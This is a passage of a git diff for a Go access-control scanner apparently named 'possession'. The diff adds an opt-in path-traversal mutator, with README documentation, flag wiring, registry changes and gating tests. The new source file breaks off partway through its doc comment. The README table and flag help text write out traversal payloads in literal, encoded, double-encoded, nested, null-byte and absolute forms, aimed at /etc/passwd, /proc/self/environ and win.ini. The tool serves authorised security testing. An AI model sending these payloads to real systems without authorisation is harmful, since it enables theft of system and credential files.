diff --git a/README.md b/README.md index b5c3fee..e865dc8 100755 --- a/README.md +++ b/README.md @@ -953,6 +953,66 @@ opt in — mirroring the gating of `--cache-deception`, `--forbidden-bypass`, `--method-override`, `--csrf-header`, `--ws-hijack`, `--xxe`, and `--mass-assign`. +## Directory / path traversal (`--path-traversal`) + +Where `--forbidden-bypass` reshapes the request path so a fronting +proxy's deny-rule matcher desynchronises from the upstream router +(`/admin/..;/admin` resolves back to the SAME protected handler), and +`--swap-object` / `--enumerate` stay INSIDE the resource collection +(substitute another identity's known IDs, sweep neighbours), the +`--path-traversal` flag attacks *the resource scope boundary itself*: +the caller breaks OUT of the per-user / per-tenant subtree the route +prefix was supposed to confine them to, and reaches an OS-sensitive +file (`/etc/passwd`, `/proc/self/environ`, `windows/win.ini`) or a +sibling-tenant directory the application never intended to expose. This +is OWASP A01:2021 path traversal / Local File Inclusion at the +request-path layer — the same vuln class behind the long tail of +"directory traversal" advisories that every static-asset handler, +per-user file API, and legacy report-export endpoint keeps +re-discovering: + +``` +possession scan capture.har \ + --matrix matrix.yaml \ + --path-traversal +``` + +For each of six disjoint techniques and each of three high-signal +target files, a separate variant is emitted in deterministic +sorted-by-technique then sorted-by-target order. The trailing path +segment of the captured request is replaced with the traversal +payload; the base directory (everything up to and including the final +`/`) is preserved so the variant rides the route the caller +legitimately reached: + +| Technique | Wire-form payload | What it defeats | +|---|---|---| +| `dot-dot-slash` | `../../../../../../etc/passwd` | The textbook literal traversal — handlers that concatenate the segment onto a base directory without canonicalisation (`filepath.Join` strips it; many language runtimes do not). | +| `dot-dot-encoded` | `..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd` | Middleware that filters the literal `../` but URL-decodes the path before the file lookup. RawPath keeps `%2f` un-double-encoded on the wire. | +| `dot-dot-double-encoded` | `..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd` | Gateway/handler boundaries that each URL-decode independently — one decode produces `..%2f` (the literal-`../` filter sees no match), the second decode produces the real traversal. | +| `nested-dot-dot` | `....//....//....//....//....//....//etc/passwd` | Hand-written sanitisers that strip a single `../` literal — after the filter removes one `../`, the remaining bytes collapse back into `../`. | +| `null-byte-suffix` | `../../../../../../etc/passwd%00` | Extension-allowlist filters in C-backed handlers — the high-level string comparison sees a (post-NUL) suffix and approves; `read(2)` / `open(2)` terminate the path at NUL. | +| `absolute-path` | `/etc/passwd` | Handlers that strip leading `../` segments but pass the rest through to a `File.open` / `fs.readFile` call that honours absolute paths. The payload has no `..` at all. | + +Every variant keeps the caller's own credentials (`Identity == nil`) — +this is a same-caller scope-escape probe, not an identity swap. Root +or empty paths emit no variants (there is no trailing segment to +reshape). Findings are class `authz-bypass` (ASVS V12.3 — file & +resource control). The mutation `Detail` carries both the technique +and the target so the reporter (and any future repro-snippet +generator) can quote both the original URL and the traversal payload +the operator should re-fetch by hand to confirm the bytes returned +match the target file. + +`--path-traversal` is **off by default**: the traversal payloads are +active probes that — on a vulnerable target — exfiltrate the contents +of OS-sensitive files, so it only fires when you opt in — mirroring +the gating of `--prototype-pollution`, `--cache-deception`, +`--content-type-confusion`, `--origin-spoof`, `--parameter-pollution`, +`--header-injection`, `--cookie-tampering`, `--host-header`, +`--forbidden-bypass`, `--method-override`, `--csrf-header`, +`--ws-hijack`, `--xxe`, and `--mass-assign`. + ## Role matrix The role matrix is YAML. Minimum viable shape: diff --git a/internal/cli/buildregistry_forbidden_test.go b/internal/cli/buildregistry_forbidden_test.go index b27dcec..9e4415c 100644 --- a/internal/cli/buildregistry_forbidden_test.go +++ b/internal/cli/buildregistry_forbidden_test.go @@ -27,7 +27,7 @@ func protectedScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only // emits variants when the flag is set. func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -35,7 +35,7 @@ func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) { t.Fatalf("forbidden-bypass must always be registered, even when disabled") } - regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -60,7 +60,7 @@ func TestBuildRegistry_ForbiddenBypassWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -93,7 +93,7 @@ func wsScanReq() *model.CapturedRequest { // buildRegistry: the mutator is always registered, but only emits variants when // the flag is set. func TestBuildRegistry_WSHijackGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -104,7 +104,7 @@ func TestBuildRegistry_WSHijackGating(t *testing.T) { t.Errorf("disabled ws-hijack emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -125,7 +125,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -141,7 +141,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) { // through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_MethodOverrideGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -152,7 +152,7 @@ func TestBuildRegistry_MethodOverrideGating(t *testing.T) { t.Errorf("disabled method-override emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -172,7 +172,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -188,7 +188,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) { // buildRegistry: the mutator is always registered, but only emits variants when // the flag is set. func TestBuildRegistry_HostHeaderGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -199,7 +199,7 @@ func TestBuildRegistry_HostHeaderGating(t *testing.T) { t.Errorf("disabled host-header emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -219,7 +219,7 @@ func TestBuildRegistry_HostHeaderWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -249,7 +249,7 @@ func cookieScanReq() *model.CapturedRequest { // through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_CookieTamperGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -260,7 +260,7 @@ func TestBuildRegistry_CookieTamperGating(t *testing.T) { t.Errorf("disabled cookie-tamper emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -280,7 +280,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -296,7 +296,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) { // flows through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_HeaderInjectionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -307,7 +307,7 @@ func TestBuildRegistry_HeaderInjectionGating(t *testing.T) { t.Errorf("disabled header-injection emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -327,7 +327,7 @@ func TestBuildRegistry_HeaderInjectionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -357,7 +357,7 @@ func pollutionScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_ParamPollutionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -368,7 +368,7 @@ func TestBuildRegistry_ParamPollutionGating(t *testing.T) { t.Errorf("disabled parameter-pollution emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -388,7 +388,7 @@ func TestBuildRegistry_ParamPollutionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -421,7 +421,7 @@ func ctcScanReq() *model.CapturedRequest { // --content-type-confusion flag flows through buildRegistry: the mutator is // always registered, but only emits variants when the flag is set. func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -432,7 +432,7 @@ func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) { t.Errorf("disabled content-type-confusion emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -453,7 +453,7 @@ func TestBuildRegistry_ContentTypeConfusionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -484,7 +484,7 @@ func cdScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only // emits variants when the flag is set. func TestBuildRegistry_CacheDeceptionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -495,7 +495,7 @@ func TestBuildRegistry_CacheDeceptionGating(t *testing.T) { t.Errorf("disabled cache-deception emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -515,7 +515,7 @@ func TestBuildRegistry_CacheDeceptionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -549,7 +549,7 @@ func ppScanReq() *model.CapturedRequest { // flag flows through buildRegistry: the mutator is always registered, but // only emits variants when the flag is set. func TestBuildRegistry_PrototypePollutionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -560,7 +560,7 @@ func TestBuildRegistry_PrototypePollutionGating(t *testing.T) { t.Errorf("disabled prototype-pollution emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -581,7 +581,7 @@ func TestBuildRegistry_PrototypePollutionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -592,3 +592,67 @@ func TestBuildRegistry_PrototypePollutionWithWordlist(t *testing.T) { t.Errorf("enabled prototype-pollution (wordlist path) emitted 0 variants") } } + +// ptScanReq returns a captured GET request authenticated as alice +// against a per-user file endpoint, so the path-traversal mutator has +// a trailing segment to reshape. Mirrors cdScanReq / ppScanReq for the +// gating tests below. +func ptScanReq() *model.CapturedRequest { + u, _ := url.Parse("https://api.example.com/api/files/photo.jpg") + h := http.Header{} + h.Set("Authorization", "Bearer alice-token") + return &model.CapturedRequest{ + ID: "alice-photo", + Method: "GET", + URL: u, + Headers: h, + } +} + +// TestBuildRegistry_PathTraversalGating proves the --path-traversal flag +// flows through buildRegistry: the mutator is always registered, but only +// emits variants when the flag is set. +func TestBuildRegistry_PathTraversalGating(t *testing.T) { + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + if err != nil { + t.Fatalf("buildRegistry off: %v", err) + } + if regOff.Get("path-traversal") == nil { + t.Fatalf("path-traversal must always be registered, even when disabled") + } + if vs := regOff.Get("path-traversal").Generate(ptScanReq(), nil); len(vs) != 0 { + t.Errorf("disabled path-traversal emitted %d variants; want 0", len(vs)) + } + + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + if err != nil { + t.Fatalf("buildRegistry on: %v", err) + } + m := regOn.Get("path-traversal") + if m == nil { + t.Fatalf("path-traversal missing from registry when enabled") + } + if vs := m.Generate(ptScanReq(), nil); len(vs) == 0 { + t.Errorf("enabled path-traversal emitted 0 variants; want > 0") + } +} + +// TestBuildRegistry_PathTraversalWithWordlist verifies the alternate +// (wordlist) construction path also wires the gated path-traversal +// mutator. +func TestBuildRegistry_PathTraversalWithWordlist(t *testing.T) { + f := t.TempDir() + "/wl.txt" + if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { + t.Fatalf("write wordlist: %v", err) + } + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + if err != nil { + t.Fatalf("buildRegistry with wordlist: %v", err) + } + if reg.Get("path-traversal") == nil { + t.Fatalf("path-traversal missing from wordlist-path registry") + } + if vs := reg.Get("path-traversal").Generate(ptScanReq(), nil); len(vs) == 0 { + t.Errorf("enabled path-traversal (wordlist path) emitted 0 variants") + } +} diff --git a/internal/cli/scan.go b/internal/cli/scan.go index 99ce9b2..621c01d 100755 --- a/internal/cli/scan.go +++ b/internal/cli/scan.go @@ -69,6 +69,7 @@ var ( scanCTConfusion bool // --content-type-confusion: relabel the Content-Type so the WAF/gateway and the handler dispatch the body to different parsers (off by default) scanCacheDeception bool // --cache-deception: decorate the URL with cacheable extensions/segments so a fronting cache stores the caller's personal response at a public key (off by default) scanProtoPollution bool // --prototype-pollution: bury privileged properties under __proto__ / constructor.prototype / prototype keys in JSON object bodies so a deep-merge helper writes onto Object.prototype (Node.js authz bypass; off by default) + scanPathTraversal bool // --path-traversal: reshape the trailing path segment with `../` chains (literal, encoded, double-encoded, nested, null-byte-suffixed, absolute) to escape the resource scope and reach OS-sensitive files / sibling tenant directories (OWASP A01:2021 path traversal / LFI; off by default) ) // scanCmd is the end-to-end scan command. Packets 1-3 contribute: @@ -158,6 +159,8 @@ func init() { "test Web Cache Deception (Omer Gil) access-control leakage using the caller's own credentials: decorate the URL with cacheable file-extension shapes (.css/.js/.png/.jpg/.ico/.gif/.svg) the application router strips or ignores but a fronting CDN / edge cache keys on, in four disjoint shapes — path-suffix (/api/me/possession.css), path-extension (/api/me.css), semicolon-suffix (/api/me;.css; Tomcat/Spring matrix-parameter), and encoded-suffix (/api/me%2fpossession.css; gateway/router URL-normalisation desync) — so the upstream still serves the caller's personal response while the cache stores it under a key any later (possibly unauthenticated) caller can fetch; endpoints already at a cacheable extension are skipped; disjoint from --forbidden-bypass (which mutates the path to defeat a deny rule) and --host-header (which spoofs the gate's host); off by default because the decorated variants observably warm an upstream cache at the decorated URL on the caller's behalf") scanCmd.Flags().BoolVar(&scanProtoPollution, "prototype-pollution", false, "test JavaScript prototype-pollution privilege escalation using the caller's own credentials: for each privileged property (admin, is_admin, isAdmin, role, roles, verified), bury it under the three canonical pollution vectors (__proto__, constructor.prototype, prototype) inside the JSON object request body so a Node.js deep-merge helper (lodash _.merge, $.extend(true,…), defaultsDeep, hand-rolled recursive Object.assign) walks past the prototype guard and writes the polluted property onto Object.prototype — every subsequent object in the process answers true for the flag and any downstream authz check that reads req.user.is_admin (or equivalent) is bypassed runtime-wide; arrays, scalars, and non-JSON bodies are skipped; disjoint from --mass-assign (which sets the same keys at the top level — a different vuln class with a different fix); off by default because the polluted JSON reaches deep-merge code paths whose effect is process-wide and persists for every concurrent user until the runtime restarts") + scanCmd.Flags().BoolVar(&scanPathTraversal, "path-traversal", false, + "test directory/path-traversal scope-escape using the caller's own credentials: replace the trailing path segment with six disjoint traversal payloads (literal `../`, percent-encoded `..%2f`, double-encoded `..%252f`, nested `....//`, null-byte-suffixed `%00`, and absolute-path) pointing at three high-signal target files (etc/passwd, proc/self/environ, windows/win.ini), so the caller breaks OUT of the resource collection the route prefix was supposed to confine them to and reaches OS-sensitive files or sibling-tenant directories the application never intended to expose; disjoint from --forbidden-bypass (which reshapes the path to resolve back to the SAME handler, e.g. /admin/..;/admin) and from --swap-object / --enumerate (which stay inside the resource collection); root/empty paths are skipped; off by default because the traversal payloads are active probes that exfiltrate sensitive file contents on a vulnerable target (OWASP A01:2021)") } func resetScanFlags() { @@ -202,6 +205,7 @@ func resetScanFlags() { scanCTConfusion = false scanCacheDeception = false scanProtoPollution = false + scanPathTraversal = false } func runScan(cmd *cobra.Command, args []string) error { @@ -325,7 +329,7 @@ func runScan(cmd *cobra.Command, args []string) error { // derived from its representative sample's auth components. attributionWarnings := attributeEndpoints(endpoints, matrix) - reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception, scanProtoPollution) + reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception, scanProtoPollution, scanPathTraversal) if err != nil { return err } @@ -1249,10 +1253,11 @@ func buildEvaluator(name string, matrix *model.RoleMatrix) (detect.Evaluator, er // cacheDeception is true. // EnumerateID, JWTAuth, MassAssign, XXE, GraphQL, ForbiddenBypass, WSHijack, // CSRFHeader, MethodOverride, HostHeader, CookieTamper, HeaderInjection, -// ParamPollution, OriginSpoof, ContentTypeConfusion, CacheDeception, and -// PrototypePollution are always registered but inert in their disabled state, -// so the canonical DefaultRegistry order (and the order test) stays unchanged. -func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception, protoPollution bool) (*mutate.Registry, error) { +// ParamPollution, OriginSpoof, ContentTypeConfusion, CacheDeception, +// PrototypePollution, and PathTraversal are always registered but inert in +// their disabled state, so the canonical DefaultRegistry order (and the +// order test) stays unchanged. +func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception, protoPollution, pathTraversal bool) (*mutate.Registry, error) { enumMutator := mutate.EnumerateID{N: enumerateN} jwtAuthMutator := mutate.JWTAuth{Enabled: jwtAttack} massAssignMutator := mutate.MassAssign{Enabled: massAssign} @@ -1270,15 +1275,16 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x ctConfusionMutator := mutate.ContentTypeConfusion{Enabled: ctConfusion} cacheDeceptionMutator := mutate.CacheDeception{Enabled: cacheDeception} protoPollutionMutator := mutate.PrototypePollution{Enabled: protoPollution} + pathTraversalMutator := mutate.PathTraversal{Enabled: pathTraversal} if wordlistPath == "" { // Extend the default registry with EnumerateID + JWTAuth + // MassAssign + XXE + GraphQL + ForbiddenBypass + WSHijack + CSRFHeader + // MethodOverride + HostHeader + CookieTamper + HeaderInjection + // ParamPollution + OriginSpoof + ContentTypeConfusion + CacheDeception + - // PrototypePollution (all no-op when disabled). + // PrototypePollution + PathTraversal (all no-op when disabled). base := mutate.DefaultRegistry() - all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator) + all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator, pathTraversalMutator) return mutate.NewRegistry(all...), nil } data, err := os.ReadFile(wordlistPath) @@ -1322,6 +1328,7 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator, + pathTraversalMutator, ), nil } diff --git a/internal/mutate/path_traversal.go b/internal/mutate/path_traversal.go new file mode 100644 index 0000000..45bb15c --- /dev/null +++ b/internal/mutate/path_traversal.go @@ -0,0 +1,338 @@ +package mutate + +import ( + "sort" + "strings" + + "github.com/bugsyhewitt/possession/internal/model" +) + +// PathTraversal is the directory/path-traversal access-control bypass mutator. +// It targets the OWASP A01:2021 "Path Traversal / Local File Inclusion" +// family at the request-path layer: the application maps the trailing path +// segment (or a path-shaped parameter) onto a server-side file or resource +// lookup, and an attacker reshapes that segment with `../` chains to escape +// the intended resource scope and reference a parent directory the caller +// was never authorised to reach. Classic targets are OS-shipped sensitive +// files (`/etc/passwd`, Windows `win.ini`, `/proc/self/environ`); in +// modern API surfaces the same shape escapes a per-user / per-tenant +// resource subtree to reach a sibling tenant's directory or an +// administrative resource the route prefix was supposed to gate. +// +// Where ForbiddenBypass (`traversal-semicolon`) reshapes the path to +// desynchronise a fronting proxy's deny-rule matcher from the upstream +// router (the same path resolves back to the SAME protected handler), +// SwapObject substitutes a known-owner resource ID for another identity's +// known-owner resource ID, and EnumerateID sweeps a numeric range around +// the captured ID, PathTraversal escapes the resource scope ENTIRELY — +// the rewritten path points at a parent-directory location the caller's +// captured request had no reference to. The three mutators are +// deliberately disjoint: SwapObject and EnumerateID test "can the caller +// reach a sibling object inside the same resource collection?"; +// PathTraversal tests "can the caller break OUT of the resource +// collection and reach something the route prefix was never supposed to +// expose at all?" — a different vuln class with a different fix (input +// canonicalisation versus per-object authorisation). +// +// Six technique families, each emitted as a separate variant for +// attribution. Generation order is fixed (sorted-by-technique-name) so +// identical inputs yield an identical variant slice (the offline corpus +// and --dry-run cover it): +// +// - dot-dot-slash: the textbook literal `../` traversal. Replaces the +// final path segment with N levels of `../` followed by the target +// file. The classic CVE shape that still works against handlers that +// concatenate the segment onto a base directory without +// canonicalisation (`filepath.Join` in Go strips it; many language +// runtimes do not). +// +// - dot-dot-encoded: percent-encoded `..%2f` traversal. Bypasses +// middleware that filters the literal `../` but URL-decodes the path +// before handing it to the file lookup. The url.URL RawPath +// mechanism keeps `%2f` un-double-encoded on the wire (the same +// invariant ForbiddenBypass and CacheDeception rely on). +// +// - dot-dot-double-encoded: doubly-encoded `..%252f`. Bypasses +// middleware that URL-decodes ONCE and then filters: the first +// decode produces `..%2f`, the literal-`../` filter sees no match, +// a second decode (or a downstream handler that URL-decodes again) +// produces the real traversal. Common at gateway/handler boundaries +// that each decode independently. +// +// - nested-dot-dot: the `....//` / `....\/` "nested" form that defeats +// filters which strip a single `../` literal occurrence — after the +// filter removes one `../`, the remaining bytes collapse back into +// `../`. A long-standing payload from the Apache / Tomcat traversal +// advisories that still surfaces on hand-written sanitisers. +// +// - null-byte-suffix: appends `%00` after the target. Bypasses +// extension-allowlist filters in languages whose underlying syscalls +// (read(2), open(2)) treat NUL as string terminator while the +// high-level string comparison sees the suffix and decides the path +// ends in an allowed extension. Affects older PHP/Perl handlers and +// a long tail of C-backed services; emitted at low cost because 